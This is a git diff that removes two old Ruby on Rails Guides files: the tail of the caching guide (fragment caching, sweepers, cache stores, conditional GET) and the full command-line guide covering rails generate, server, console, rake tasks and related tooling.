-Finally, if you are using memcached or Ehcache, you can also pass +:expires_in+. In fact, all parameters not used by +caches_action+ are sent to the underlying cache store.
-
-INFO: Action caching runs in an after filter. Thus, invalid requests won't generate spurious cache entries as long as you halt them. Typically, a redirection in some before filter that checks request preconditions does the job.
-
-h4. Fragment Caching
-
-Life would be perfect if we could get away with caching the entire contents of a page or action and serving it out to the world. Unfortunately, dynamic web applications usually build pages with a variety of components not all of which have the same caching characteristics. In order to address such a dynamically created page where different parts of the page need to be cached and expired differently, Rails provides a mechanism called Fragment Caching.
-
-Fragment Caching allows a fragment of view logic to be wrapped in a cache block and served out of the cache store when the next request comes in.
-
-As an example, if you wanted to show all the orders placed on your website in real time and didn't want to cache that part of the page, but did want to cache the part of the page which lists all products available, you could use this piece of code:
-
-<ruby>
-<% Order.find_recent.each do |o| %>
-  <%= o.buyer.name %> bought <%= o.product.name %>
-<% end %>
-
-<% cache do %>
-  All available products:
-  <% Product.all.each do |p| %>
-    <%= link_to p.name, product_url(p) %>
-  <% end %>
-<% end %>
-</ruby>
-
-The cache block in our example will bind to the action that called it and is written out to the same place as the Action Cache, which means that if you want to cache multiple fragments per action, you should provide an +action_suffix+ to the cache call:
-
-<ruby>
-<% cache(:action => 'recent', :action_suffix => 'all_products') do %>
-  All available products:
-</ruby>
-
-and you can expire it using the +expire_fragment+ method, like so:
-
-<ruby>
-expire_fragment(:controller => 'products', :action => 'recent', :action_suffix => 'all_products')
-</ruby>
-
-If you don't want the cache block to bind to the action that called it, You can also use globally keyed fragments by calling the +cache+ method with a key, like so:
-
-<ruby>
-<% cache('all_available_products') do %>
-  All available products:
-<% end %>
-</ruby>
-
-This fragment is then available to all actions in the +ProductsController+ using the key and can be expired the same way:
-
-<ruby>
-expire_fragment('all_available_products')
-</ruby>
-
-h4. Sweepers
-
-Cache sweeping is a mechanism which allows you to get around having a ton of +expire_{page,action,fragment}+ calls in your code. It does this by moving all the work required to expire cached content into an +ActionController::Caching::Sweeper+ subclass. This class is an observer and looks for changes to an object via callbacks, and when a change occurs it expires the caches associated with that object in an around or after filter.
-
-Continuing with our Product controller example, we could rewrite it with a sweeper like this:
-
-<ruby>
-class ProductSweeper < ActionController::Caching::Sweeper
-  observe Product # This sweeper is going to keep an eye on the Product model
-
-  # If our sweeper detects that a Product was created call this
-  def after_create(product)
-    expire_cache_for(product)
-  end
-
-  # If our sweeper detects that a Product was updated call this
-  def after_update(product)
-    expire_cache_for(product)
-  end
-
-  # If our sweeper detects that a Product was deleted call this
-  def after_destroy(product)
-    expire_cache_for(product)
-  end
-
-  private
-  def expire_cache_for(product)
-    # Expire the index page now that we added a new product
-    expire_page(:controller => 'products', :action => 'index')
-
-    # Expire a fragment
-    expire_fragment('all_available_products')
-  end
-end
-</ruby>
-
-You may notice that the actual product gets passed to the sweeper, so if we were caching the edit action for each product, we could add an expire method which specifies the page we want to expire:
-
-<ruby>
-expire_action(:controller => 'products', :action => 'edit', :id => product.id)
-</ruby>
-
-Then we add it to our controller to tell it to call the sweeper when certain actions are called. So, if we wanted to expire the cached content for the list and edit actions when the create action was called, we could do the following:
-
-<ruby>
-class ProductsController < ActionController
-
-  before_filter :authenticate
-  caches_action :index
-  cache_sweeper :product_sweeper
-
-  def index
-    @products = Product.all
-  end
-
-end
-</ruby>
-
-h4. SQL Caching
-
-Query caching is a Rails feature that caches the result set returned by each query so that if Rails encounters the same query again for that request, it will use the cached result set as opposed to running the query against the database again.
-
-For example:
-
-<ruby>
-class ProductsController < ActionController
-
-  def index
-    # Run a find query
-    @products = Product.all
-
-    ...
-
-    # Run the same query again
-    @products = Product.all
-  end
-
-end
-</ruby>
-
-The second time the same query is run against the database, it's not actually going to hit the database. The first time the result is returned from the query it is stored in the query cache (in memory) and the second time it's pulled from memory.
-
-However, it's important to note that query caches are created at the start of an action and destroyed at the end of that action and thus persist only for the duration of the action. If you'd like to store query results in a more persistent fashion, you can in Rails by using low level caching.
-
-h3. Cache Stores
-
-Rails provides different stores for the cached data created by action and fragment caches. Page caches are always stored on disk.
-
-h4. Configuration
-
-You can set up your application's default cache store by calling +config.cache_store=+ in the Application definition inside your +config/application.rb+ file or in an Application.configure block in an environment specific configuration file (i.e. +config/environments/*.rb+). The first argument will be the cache store to use and the rest of the argument will be passed as arguments to the cache store constructor.
-
-<ruby>
-config.cache_store = :memory_store
-</ruby>
-
-Alternatively, you can call +ActionController::Base.cache_store+ outside of a configuration block.
-
-You can access the cache by calling +Rails.cache+.
-
-h4. ActiveSupport::Cache::Store
-
-This class provides the foundation for interacting with the cache in Rails. This is an abstract class and you cannot use it on its own. Rather you must use a concrete implementation of the class tied to a storage engine. Rails ships with several implementations documented below.
-
-The main methods to call are +read+, +write+, +delete+, +exist?+, and +fetch+. The fetch method takes a block and will either return an existing value from the cache, or evaluate the block and write the result to the cache if no value exists.
-
-There are some common options used by all cache implementations. These can be passed to the constructor or the various methods to interact with entries.
-
-* +:namespace+ - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications. The default value will include the application name and Rails environment.
-
-* +:compress+ - This option can be used to indicate that compression should be used in the cache. This can be useful for transferring large cache entries over a slow network.
-
-* +:compress_threshold+ - This options is used in conjunction with the +:compress+ option to indicate a threshold under which cache entries should not be compressed. This defaults to 16 kilobytes.
-
-* +:expires_in+ - This option sets an expiration time in seconds for the cache entry when it will be automatically removed from the cache.
-
-* +:race_condition_ttl+ - This option is used in conjunction with the +:expires_in+ option. It will prevent race conditions when cache entries expire by preventing multiple processes from simultaneously regenerating the same entry (also known as the dog pile effect). This option sets the number of seconds that an expired entry can be reused while a new value is being regenerated. It's a good practice to set this value if you use the +:expires_in+ option.
-
-h4. ActiveSupport::Cache::MemoryStore
-
-This cache store keeps entries in memory in the same Ruby process. The cache store has a bounded size specified by the +:size+ options to the initializer (default is 32Mb). When the cache exceeds the allotted size, a cleanup will occur and the least recently used entries will be removed.
-
-<ruby>
-ActionController::Base.cache_store = :memory_store, :size => 64.megabytes
-</ruby>
-
-If you're running multiple Ruby on Rails server processes (which is the case if you're using mongrel_cluster or Phusion Passenger), then your Rails server process instances won't be able to share cache data with each other. This cache store is not appropriate for large application deployments, but can work well for small, low traffic sites with only a couple of server processes or for development and test environments.
-
-This is the default cache store implementation.
-
-h4. ActiveSupport::Cache::FileStore
-
-This cache store uses the file system to store entries. The path to the directory where the store files will be stored must be specified when initializing the cache.
-
-<ruby>
-ActionController::Base.cache_store = :file_store, "/path/to/cache/directory"
-</ruby>
-
-With this cache store, multiple server processes on the same host can share a cache. Servers processes running on different hosts could share a cache by using a shared file system, but that set up would not be ideal and is not recommended. The cache store is appropriate for low to medium traffic sites that are served off one or two hosts.
-
-Note that the cache will grow until the disk is full unless you periodically clear out old entries.
-
-h4. ActiveSupport::Cache::MemCacheStore
-
-This cache store uses Danga's +memcached+ server to provide a centralized cache for your application. Rails uses the bundled +memcached-client+ gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very a high performance and redundancy.
-
-When initializing the cache, you need to specify the addresses for all memcached servers in your cluster. If none is specified, it will assume memcached is running on the local host on the default port, but this is not an ideal set up for larger sites.
-
-The +write+ and +fetch+ methods on this cache accept two additional options that take advantage of features specific to memcached. You can specify +:raw+ to send a value directly to the server with no serialization. The value must be a string or number. You can use memcached direct operation like +increment+ and +decrement+ only on raw values. You can also specify +:unless_exist+ if you don't want memcached to overwrite an existing entry.
-
-<ruby>
-ActionController::Base.cache_store = :mem_cache_store, "cache-1.example.com", "cache-2.example.com"
-</ruby>
-
-h4. ActiveSupport::Cache::EhcacheStore
-
-If you are using JRuby you can use Terracotta's Ehcache as the cache store for your application. Ehcache is an open source Java cache that also offers an enterprise version with increased scalability, management, and commercial support. You must first install the jruby-ehcache-rails3 gem (version 1.1.0 or later) to use this cache store.
-
-<ruby>
-ActionController::Base.cache_store = :ehcache_store
-</ruby>
-
-When initializing the cache, you may use the +:ehcache_config+ option to specify the Ehcache config file to use (where the default is "ehcache.xml" in your Rails config directory), and the :cache_name option to provide a custom name for your cache (the default is rails_cache).
-
-In addition to the standard +:expires_in+ option, the +write+ method on this cache can also accept the additional  +:unless_exist+ option, which will cause the cache store to use Ehcache's +putIfAbsent+ method instead of +put+, and therefore will not overwrite an existing entry. Additionally, the +write+ method supports all of the properties exposed by the "Ehcache Element class":http://ehcache.org/apidocs/net/sf/ehcache/Element.html , including:
-
-|_. Property |_. Argument Type |_. Description |
-| elementEvictionData | ElementEvictionData | Sets this element's eviction data instance. |
-| eternal | boolean | Sets whether the element is eternal. |
-| timeToIdle, tti | int | Sets time to idle |
-| timeToLive, ttl, expires_in | int | Sets time to Live |
-| version | long | Sets the version attribute of the ElementAttributes object. |
-
-These options are passed to the +write+ method as Hash options using either camelCase or underscore notation, as in the following examples:
-
-<ruby>
-Rails.cache.write('key', 'value', :time_to_idle => 60.seconds, :timeToLive => 600.seconds)
-caches_action :index, :expires_in => 60.seconds, :unless_exist => true
-</ruby>
-
-For more information about Ehcache, see "http://ehcache.org/":http://ehcache.org/ .
-For more information about Ehcache for JRuby and Rails, see "http://ehcache.org/documentation/jruby.html":http://ehcache.org/documentation/jruby.html
-
-h4. Custom Cache Stores
-
-You can create your own custom cache store by simply extending +ActiveSupport::Cache::Store+ and implementing the appropriate methods. In this way, you can swap in any number of caching technologies into your Rails application.
-
-To use a custom cache store, simple set the cache store to a new instance of the class.
-
-<ruby>
-ActionController::Base.cache_store = MyCacheStore.new
-</ruby>
-
-h4. Cache Keys
-
-The keys used in a cache can be any object that responds to either +:cache_key+ or to +:to_param+. You can implement the +:cache_key+ method on your classes if you need to generate custom keys. Active Record will generate keys based on the class name and record id.
-
-You can use Hashes and Arrays of values as cache keys.
-
-<ruby>
-# This is a legal cache key
-Rails.cache.read(:site => "mysite", :owners => [owner_1, owner_2])
-</ruby>
-
-The keys you use on +Rails.cache+ will not be the same as those actually used with the storage engine. They may be modified with a namespace or altered to fit technology backend constraints. This means, for instance, that you can't save values with +Rails.cache+ and then try to pull them out with the +memcache-client+ gem. However, you also don't need to worry about exceeding the memcached size limit or violating syntax rules.
-
-h3. Conditional GET support
-
-Conditional GETs are a feature of the HTTP specification that provide a way for web servers to tell browsers that the response to a GET request hasn't changed since the last request and can be safely pulled from the browser cache.
-
-They work by using the +HTTP_IF_NONE_MATCH+ and +HTTP_IF_MODIFIED_SINCE+ headers to pass back and forth both a unique content identifier and the timestamp of when the content was last changed. If the browser makes a request where the content identifier (etag) or last modified since timestamp matches the server’s version then the server only needs to send back an empty response with a not modified status.
-
-It is the server's (i.e. our) responsibility to look for a last modified timestamp and the if-none-match header and determine whether or not to send back the full response. With conditional-get support in Rails this is a pretty easy task:
-
-<ruby>
-class ProductsController < ApplicationController
-
-  def show
-    @product = Product.find(params[:id])
-
-    # If the request is stale according to the given timestamp and etag value
-    # (i.e. it needs to be processed again) then execute this block
-    if stale?(:last_modified => @product.updated_at.utc, :etag => @product)
-      respond_to do |wants|
-        # ... normal response processing
-      end
-    end
-
-    # If the request is fresh (i.e. it's not modified) then you don't need to do
-    # anything. The default render checks for this using the parameters
-    # used in the previous call to stale? and will automatically send a
-    # :not_modified. So that's it, you're done.
-  end
-end
-</ruby>
-
-If you don't have any special response processing and are using the default rendering mechanism (i.e. you're not using respond_to or calling render yourself) then you’ve got an easy helper in fresh_when:
-
-<ruby>
-class ProductsController < ApplicationController
-
-  # This will automatically send back a :not_modified if the request is fresh,
-  # and will render the default template (product.*) if it's stale.
-
-  def show
-    @product = Product.find(params[:id])
-    fresh_when :last_modified => @product.published_at.utc, :etag => @product
-  end
-end
-</ruby>
-
-h3. Further reading
-
-* "Scaling Rails Screencasts":http://railslab.newrelic.com/scaling-rails
diff --git a/railties/guides/source/command_line.textile b/railties/guides/source/command_line.textile
deleted file mode 100644
index 3f8643eca3..0000000000
--- a/railties/guides/source/command_line.textile
+++ /dev/null
@@ -1,572 +0,0 @@
-h2. A Guide to The Rails Command Line
-
-Rails comes with every command line tool you'll need to
-
-* Create a Rails application
-* Generate models, controllers, database migrations, and unit tests
-* Start a development server
-* Experiment with objects through an interactive shell
-* Profile and benchmark your new creation
-
-endprologue.
-
-NOTE: This tutorial assumes you have basic Rails knowledge from reading the "Getting Started with Rails Guide":getting_started.html.
-
-WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails.
-
-h3. Command Line Basics
-
-There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are:
-
-* <tt>rails console</tt>
-* <tt>rails server</tt>
-* <tt>rake</tt>
-* <tt>rails generate</tt>
-* <tt>rails dbconsole</tt>
-* <tt>rails new app_name</tt>
-
-Let's create a simple Rails application to step through each of these commands in context.
-
-h4. +rails new+
-
-The first thing we'll want to do is create a new Rails application by running the +rails new+ command after installing Rails.
-
-WARNING: You can install the rails gem by typing +gem install rails+, if you don't have it already. Follow the instructions in the "Rails 3 Release Notes":/3_0_release_notes.html
-
-<shell>
-$ rails new commandsapp
-     create
-     create  README
-     create  .gitignore
-     create  Rakefile
-     create  config.ru
-     create  Gemfile
-     create  app
-     ...
-     create  tmp/cache
-     create  tmp/pids
-     create  vendor/plugins
-     create  vendor/plugins/.gitkeep
-</shell>
-
-Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.
-
-h4. +rails server+
-
-The +rails server+ command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to access your application through a web browser.
-
-INFO: WEBrick isn't your only option for serving Rails. We'll get to that "later":#different-servers.
-
-With no further work, +rails server+ will run our new shiny Rails app:
-
-<shell>
-$ cd commandsapp
-$ rails server
-=> Booting WEBrick
-=> Rails 3.1.0 application starting in development on http://0.0.0.0:3000
-=> Call with -d to detach
-=> Ctrl-C to shutdown server
-[2010-04-18 03:20:33] INFO  WEBrick 1.3.1
-[2010-04-18 03:20:33] INFO  ruby 1.8.7 (2010-01-10) [x86_64-linux]
-[2010-04-18 03:20:33] INFO  WEBrick::HTTPServer#start: pid=26086 port=3000
-</shell>
-
-With just three commands we whipped up a Rails server listening on port 3000. Go to your browser and open "http://localhost:3000":http://localhost:3000, you will see a basic Rails app running.
-
-You can also use the alias "s" to start the server: <tt>rails s</tt>.
-
-The server can be run on a different port using the +-p+ option. The default development environment can be changed using +-e+.
-
-<shell>
-$ rails server -e production -p 4000
-</shell>
-
-h4. +rails generate+
-
-The +rails generate+ command uses templates to create a whole lot of things. Running +rails generate+ by itself gives a list of available generators:
-
-You can also use the alias "g" to invoke the generator command: <tt>rails g</tt>.
-
-<shell>
-$ rails generate
-Usage: rails generate GENERATOR [args] [options]
-
-...
-...
-
-Please choose a generator below.
-
-Rails:
-  controller
-  generator
-  ...
-  ...
-</shell>
-
-NOTE: You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own!
-
-Using generators will save you a large amount of time by writing *boilerplate code*, code that is necessary for the app to work.
-
-Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator:
-
-INFO: All Rails console utilities have help text. As with most *nix utilities, you can try adding +--help+ or +-h+ to the end, for example +rails server --help+.
-
-<shell>
-$ rails generate controller
-Usage: rails generate controller NAME [action action] [options]
-
-...
-...
-
-Example:
-    rails generate controller CreditCard open debit credit close
-
-    Credit card controller with URLs like /credit_card/debit.
-        Controller: app/controllers/credit_card_controller.rb
-        Views:      app/views/credit_card/debit.html.erb [...]
-        Helper:     app/helpers/credit_card_helper.rb
-        Test:       test/functional/credit_card_controller_test.rb
-
-Modules Example:
-    rails generate controller 'admin/credit_card' suspend late_fee
-
-    Credit card admin controller with URLs like /admin/credit_card/suspend.
-        Controller: app/controllers/admin/credit_card_controller.rb
-        Views:      app/views/admin/credit_card/debit.html.erb [...]
-        Helper:     app/helpers/admin/credit_card_helper.rb
-        Test:       test/functional/admin/credit_card_controller_test.rb
-</shell>
-
-The controller generator is expecting parameters in the form of +generate controller ControllerName action1 action2+. Let's make a +Greetings+ controller with an action of *hello*, which will say something nice to us.
-
-<shell>
-$ rails generate controller Greetings hello
-     create  app/controllers/greetings_controller.rb
-      route  get "greetings/hello"
-     invoke  erb
-     create    app/views/greetings
-     create    app/views/greetings/hello.html.erb
-     invoke  test_unit
-     create    test/functional/greetings_controller_test.rb
-     invoke  helper
-     create    app/helpers/greetings_helper.rb
-     invoke    test_unit
-     create      test/unit/helpers/greetings_helper_test.rb
-     invoke  assets
-     create    app/assets/javascripts/greetings.js
-     invoke    css
-     create      app/assets/stylesheets/greetings.css
-
-</shell>
-
-What all did this generate? It made sure a bunch of directories were in our application, and created a controller file, a view file, a functional test file, a helper for the view, a javascript file and a stylesheet file.
-
-Check out the controller and modify it a little (in +app/controllers/greetings_controller.rb+):
-
-<ruby>
-class GreetingsController < ApplicationController
-  def hello
-    @message = "Hello, how are you today?"
-  end
-end
-</ruby>
-
-Then the view, to display our message (in +app/views/greetings/hello.html.erb+):
-
-<html>
-<h1>A Greeting for You!</h1>
-<p><%= @message %></p>
-</html>
-
-Fire up your server using +rails server+.
-
-<shell>
-$ rails server
-=> Booting WEBrick...
-</shell>
-
-WARNING: Make sure that you do not have any "tilde backup" files in +app/views/(controller)+, or else WEBrick will _not_ show the expected output. This seems to be a *bug* in Rails 2.3.0.
-
-The URL will be "http://localhost:3000/greetings/hello":http://localhost:3000/greetings/hello.
-
-INFO: With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a URL like http://(host)/(controller) will hit the *index* action of that controller.
-
-Rails comes with a generator for data models too.
-
-<shell>
-$ rails generate model
-Usage: rails generate model NAME [field:type field:type] [options]
-
-...
-
-Examples:
-    rails generate model account
-
-            Model:      app/models/account.rb
-            Test:       test/unit/account_test.rb
-            Fixtures:   test/fixtures/accounts.yml
-            Migration:  db/migrate/XXX_add_accounts.rb
-
-    rails generate model post title:string body:text published:boolean
-
-        Creates a Post model with a string title, text body, and published flag.
-</shell>
-
-NOTE: For a list of available field types, refer to the "API documentation":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html#method-i-column for the column method for the +TableDefinition+ class.
-
-But instead of generating a model directly (which we'll be doing later), let's set up a scaffold. A *scaffold* in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above.
-
-We will set up a simple resource called "HighScore" that will keep track of our highest score on video games we play.
-
-<shell>
-$ rails generate scaffold HighScore game:string score:integer
-    exists  app/models/
-    exists  app/controllers/
-    exists  app/helpers/
-    create  app/views/high_scores
-    create  app/views/layouts/
-    exists  test/functional/
-    create  test/unit/
-    create  app/assets/stylesheets/
-    create  app/views/high_scores/index.html.erb
-    create  app/views/high_scores/show.html.erb
-    create  app/views/high_scores/new.html.erb
-    create  app/views/high_scores/edit.html.erb
-    create  app/views/layouts/high_scores.html.erb
-    create  app/assets/stylesheets/scaffold.css.scss
-    create  app/controllers/high_scores_controller.rb
-    create  test/functional/high_scores_controller_test.rb
-    create  app/helpers/high_scores_helper.rb
-     route  resources :high_scores
-dependency  model
-    exists    app/models/
-    exists    test/unit/
-    create    test/fixtures/
-    create    app/models/high_score.rb
-    create    test/unit/high_score_test.rb
-    create    test/fixtures/high_scores.yml
-    exists    db/migrate
-    create    db/migrate/20100209025147_create_high_scores.rb
-</shell>
-
-The generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the +high_scores+ table and fields), takes care of the route for the *resource*, and new tests for everything.
-
-The migration requires that we *migrate*, that is, run some Ruby code (living in that +20100209025147_create_high_scores.rb+) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the +rake db:migrate+ command. We'll talk more about Rake in-depth in a little while.
-
-<shell>
-$ rake db:migrate
-(in /home/foobar/commandsapp)
-==  CreateHighScores: migrating ===============================================
--- create_table(:high_scores)
-   -> 0.0026s
-==  CreateHighScores: migrated (0.0028s) ======================================
-</shell>
-
-INFO: Let's talk about unit tests. Unit tests are code that tests and makes assertions about code. In unit testing, we take a little part of code, say a method of a model, and test its inputs and outputs. Unit tests are your friend. The sooner you make peace with the fact that your quality of life will drastically increase when you unit test your code, the better. Seriously. We'll make one in a moment.
-
-Let's see the interface Rails created for us.
-
-<shell>
-$ rails server
-</shell>
-
-Go to your browser and open "http://localhost:3000/high_scores":http://localhost:3000/high_scores, now we can create new high scores (55,160 on Space Invaders!)
-
-h4. +rails console+
-
-The +console+ command lets you interact with your Rails application from the command line. On the underside, +rails console+ uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website.
-
-You can also use the alias "c" to invoke the console: <tt>rails c</tt>.
-
-If you wish to test out some code without changing any data, you can do that by invoking +rails console --sandbox+.
-
-<shell>
-$ rails console --sandbox
-Loading development environment in sandbox (Rails 3.1.0)
-Any modifications you make will be rolled back on exit
-irb(main):001:0>
-</shell>
-
-h4. +rails dbconsole+
-
-+rails dbconsole+ figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3.
-
-You can also use the alias "db" to invoke the dbconsole: <tt>rails db</tt>.
-
-h4. +rails plugin+
-
-The +rails plugin+ command simplifies plugin management. Plugins can be installed by name or their repository URLs. You need to have Git installed if you want to install a plugin from a Git repo. The same holds for Subversion too.
-
-<shell>
-$ rails plugin install https://github.com/technoweenie/acts_as_paranoid.git
-+ ./CHANGELOG
-+ ./MIT-LICENSE
-...
-...
-</shell>
-
-h4. +rails runner+
-
-<tt>runner</tt> runs Ruby code in the context of Rails non-interactively. For instance:
-
-<shell>
-$ rails runner "Model.long_running_method"
-</shell>
-
-You can also use the alias "r" to invoke the runner: <tt>rails r</tt>.
-
-You can specify the environment in which the +runner+ command should operate using the +-e+ switch.
-
-<shell>
-$ rails runner -e staging "Model.long_running_method"
-</shell>
-
-h4. +rails destroy+
-
-Think of +destroy+ as the opposite of +generate+. It'll figure out what generate did, and undo it.
-
-You can also use the alias "d" to invoke the destroy command: <tt>rails d</tt>.
-
-<shell>
-$ rails generate model Oops
-      exists  app/models/
-      exists  test/unit/
-      exists  test/fixtures/
-      create  app/models/oops.rb
-      create  test/unit/oops_test.rb
-      create  test/fixtures/oops.yml
-      exists  db/migrate
-      create  db/migrate/20081221040817_create_oops.rb
-$ rails destroy model Oops
-    notempty  db/migrate
-    notempty  db
-          rm  db/migrate/20081221040817_create_oops.rb
-          rm  test/fixtures/oops.yml
-          rm  test/unit/oops_test.rb
-          rm  app/models/oops.rb
-    notempty  test/fixtures
-    notempty  test
-    notempty  test/unit
-    notempty  test
-    notempty  app/models
-    notempty  app
-</shell>
-
-h3. Rake
-
-Rake is Ruby Make, a standalone Ruby utility that replaces the Unix utility 'make', and uses a 'Rakefile' and +.rake+ files to build up a list of tasks. In Rails, Rake is used for common administration tasks, especially sophisticated ones that build off of each other.
-
-You can get a list of Rake tasks available to you, which will often depend on your current directory, by typing +rake --tasks+. Each task has a description, and should help you find the thing you need.
-
-<shell>
-$ rake --tasks
-(in /home/foobar/commandsapp)
-rake db:abort_if_pending_migrations       # Raises an error if there are pending migrations
-rake db:charset                           # Retrieves the charset for the current environment's database
-rake db:collation                         # Retrieves the collation for the current environment's database
-rake db:create                            # Create the database defined in config/database.yml for the current Rails.env
-...
-...
-rake tmp:pids:clear                       # Clears all files in tmp/pids
-rake tmp:sessions:clear                   # Clears all files in tmp/sessions
-rake tmp:sockets:clear                    # Clears all files in tmp/sockets
-</shell>
-
-h4. +about+
-
-<tt>rake about</tt> gives information about version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version. It is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation.
-
-<shell>
-$ rake about
-About your application's environment
-Ruby version              1.8.7 (x86_64-linux)
-RubyGems version          1.3.6
-Rack version              1.3
-Rails version             3.2.0.beta
-JavaScript Runtime        Node.js (V8)
-Active Record version     3.2.0.beta
-Action Pack version       3.2.0.beta
-Active Resource version   3.2.0.beta
-Action Mailer version     3.2.0.beta
-Active Support version    3.2.0.beta
-Middleware                ActionDispatch::Static, Rack::Lock, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord::QueryCache, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, ActionDispatch::Head, Rack::ConditionalGet, Rack::ETag, ActionDispatch::BestStandardsSupport
-Application root          /home/foobar/commandsapp
-Environment               development
-Database adapter          sqlite3
-Database schema version   20110805173523
-</shell>
-
-h4. +assets+
-
-You can precompile the assets in <tt>app/assets</tt> using <tt>rake assets:precompile</tt> and remove those compiled assets using <tt>rake assets:clean</tt>.
-
-h4. +db+
-
-The most common tasks of the +db:+ Rake namespace are +migrate+ and +create+, and it will pay off to try out all of the migration rake tasks (+up+, +down+, +redo+, +reset+). +rake db:version+ is useful when troubleshooting, telling you the current version of the database.
-
-More information about migrations can be found in the "Migrations":migrations.html guide.
-
-h4. +doc+
-
-The +doc:+ namespace has the tools to generate documentation for your app, API documentation, guides. Documentation can also be stripped which is mainly useful for slimming your codebase, like if you're writing a Rails application for an embedded platform.
-
-* +rake doc:app+ generates documentation for your application in +doc/app+.
-* +rake doc:guides+ generates Rails guides in +doc/guides+.
-* +rake doc:rails+ generates API documentation for Rails in +doc/api+.
-* +rake doc:plugins+ generates API documentation for all the plugins installed in the application in +doc/plugins+.
-* +rake doc:clobber_plugins+ removes the generated documentation for all plugins.
-
-h4. +notes+
-
-+rake notes+ will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is only done in files with extension +.builder+, +.rb+, +.rxml+, +.rhtml+ and +.erb+ for both default and custom annotations.
-
-<shell>
-$ rake notes
-(in /home/foobar/commandsapp)
-app/controllers/admin/users_controller.rb:
-  * [ 20] [TODO] any other way to do this?
-  * [132] [FIXME] high priority for next deploy
-
-app/model/school.rb:
-  * [ 13] [OPTIMIZE] refactor this code to make it faster
-  * [ 17] [FIXME]
-</shell>
-
-If you are looking for a specific annotation, say FIXME, you can use +rake notes:fixme+. Note that you have to lower case the annotation's name.
-
-<shell>
-$ rake notes:fixme
-(in /home/foobar/commandsapp)
-app/controllers/admin/users_controller.rb:
-  * [132] high priority for next deploy
-
-app/model/school.rb:
-  * [ 17]
-</shell>
-
-You can also use custom annotations in your code and list them using +rake notes:custom+ by specifying the annotation using an environment variable +ANNOTATION+.
-
-<shell>
-$ rake notes:custom ANNOTATION=BUG
-(in /home/foobar/commandsapp)
-app/model/post.rb:
-  * [ 23] Have to fix this one before pushing!
-</shell>
-
-NOTE. When using specific annotations and custom annotations, the annotation name (FIXME, BUG etc) is not displayed in the output lines.
-
-h4. +routes+
-
-+rake routes+ will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with.
-
-h4. +test+
-
-INFO: A good description of unit testing in Rails is given in "A Guide to Testing Rails Applications":testing.html
-
-Rails comes with a test suite called <tt>Test::Unit</tt>. Rails owes its stability to the use of tests. The tasks available in the +test:+ namespace helps in running the different tests you will hopefully write.
-
-h4. +tmp+
-
-The <tt>Rails.root/tmp</tt> directory is, like the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions.
-
-The +tmp:+ namespaced tasks will help you clear the <tt>Rails.root/tmp</tt> directory:
-
-* +rake tmp:cache:clear+ clears <tt>tmp/cache</tt>.
-* +rake tmp:sessions:clear+ clears <tt>tmp/sessions</tt>.
-* +rake tmp:sockets:clear+ clears <tt>tmp/sockets</tt>.
-* +rake tmp:clear+ clears all the three: cache, sessions and sockets.
-
-h4. Miscellaneous
-
-* +rake stats+ is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio.
-* +rake secret+ will give you a pseudo-random key to use for your session secret.
-* <tt>rake time:zones:all</tt> lists all the timezones Rails knows about.
-
-h3. The Rails Advanced Command Line
-
-More advanced use of the command line is focused around finding useful (even surprising at times) options in the utilities, and fitting those to your needs and specific work flow. Listed here are some tricks up Rails' sleeve.
-
-h4. Rails with Databases and SCM
-
-When creating a new Rails application, you have the option to specify what kind of database and what kind of source code management system your application is going to use. This will save you a few minutes, and certainly many keystrokes.
-
-Let's see what a +--git+ option and a +--database=postgresql+ option will do for us:
-
-<shell>
-$ mkdir gitapp
-$ cd gitapp
-$ git init
-Initialized empty Git repository in .git/
-$ rails new . --git --database=postgresql
-      exists
-      create  app/controllers
-      create  app/helpers
-...
-...
-      create  tmp/cache
-      create  tmp/pids
-      create  Rakefile
-add 'Rakefile'
-      create  README
-add 'README'
-      create  app/controllers/application_controller.rb
-add 'app/controllers/application_controller.rb'
-      create  app/helpers/application_helper.rb
-...
-      create  log/test.log
-add 'log/test.log'
-</shell>
-
-We had to create the *gitapp* directory and initialize an empty git repository before Rails would add files it created to our repository. Let's see what it put in our database configuration:
-
-<shell>
-$ cat config/database.yml
-# PostgreSQL. Versions 8.2 and up are supported.
-#
-# Install the ruby-postgres driver:
-#   gem install ruby-postgres
-# On Mac OS X:
-#   gem install ruby-postgres -- --include=/usr/local/pgsql
-# On Windows:
-#   gem install ruby-postgres
-#       Choose the win32 build.
-#       Install PostgreSQL and put its /bin directory on your path.
-development:
-  adapter: postgresql
-  encoding: unicode
-  database: gitapp_development
-  pool: 5
-  username: gitapp
-  password:
-...
-...
-</shell>
-
-It also generated some lines in our database.yml configuration corresponding to our choice of PostgreSQL for database.
-
